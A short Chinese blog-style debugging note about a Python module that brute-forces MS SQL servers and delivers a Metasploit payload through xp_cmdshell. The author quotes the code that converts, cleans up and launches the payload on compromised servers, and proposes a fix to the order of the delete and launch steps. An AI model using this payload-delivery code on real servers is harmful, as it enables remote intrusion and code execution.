(a)ttempt SQL Ping and Auto Quick Brute Force 续2——原因

今晚再次调试，发现生成的h2b.exe无法运行，这个文件用来把hex转换成bin，而且后面的代码，似乎也有问题：

print "Metasploit payload delivered.."
       print "Converting our payload to binary, this may take a few..."
       query5=("""xp_cmdshell 'h2b metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       print "Cleaning up..."
       query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       query5=("""xp_cmdshell 'del h2b.exe'""")
       printquery=mssql.execute_query(query5)
       print "Launching payload, this could take up to a minute..."
       print "When finished, close the metasploit handler window to return to other compromised SQL Servers."
       query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen))
       printquery=mssql.execute_query(query5)
       pause=raw_input("Press enter to return back to compromised SQL Servers.")

既然已经删除metasploit，为什么还要运行：

query5=("""xp_cmdshell 'metasploit%s'""" % (randomgen))

我觉得应该去掉：

query5=("""xp_cmdshell 'del metasploit%s'""" % (randomgen))

初始化的时候再去删除。